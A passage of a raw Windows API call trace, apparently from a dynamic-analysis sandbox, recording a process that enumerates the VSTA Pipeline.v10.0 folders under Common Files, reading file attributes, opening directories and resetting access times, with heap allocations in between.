shared\\VSTA\\Pipeline.v10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.367] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.367] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.367] NtClose (Handle=0x178) returned 0x0 [0087.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ff0 [0087.369] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInSideAdapters", cAlternateFileName="")) returned 1 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInViews", cAlternateFileName="")) returned 1 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contracts", cAlternateFileName="")) returned 1 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HostSideAdapters", cAlternateFileName="")) returned 1 [0087.369] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="")) returned 1 [0087.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13050f8 [0087.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb9e8 [0087.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305410 [0087.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.371] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="")) returned 0 [0087.371] GetLastError () returned 0x12 [0087.371] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.371] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.371] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.372] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInSideAdapters", cAlternateFileName="")) returned 1 [0087.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.372] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.372] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.373] NtClose (Handle=0x178) returned 0x0 [0087.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.374] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.375] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.375] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.376] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587bad70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.379] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.385] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 0 [0087.386] GetLastError () returned 0x12 [0087.386] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.386] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587bad70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 1 [0087.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="")) returned 0 [0087.387] GetLastError () returned 0x12 [0087.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.387] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInViews", cAlternateFileName="")) returned 1 [0087.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.389] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.389] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.389] NtClose (Handle=0x180) returned 0x0 [0087.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) 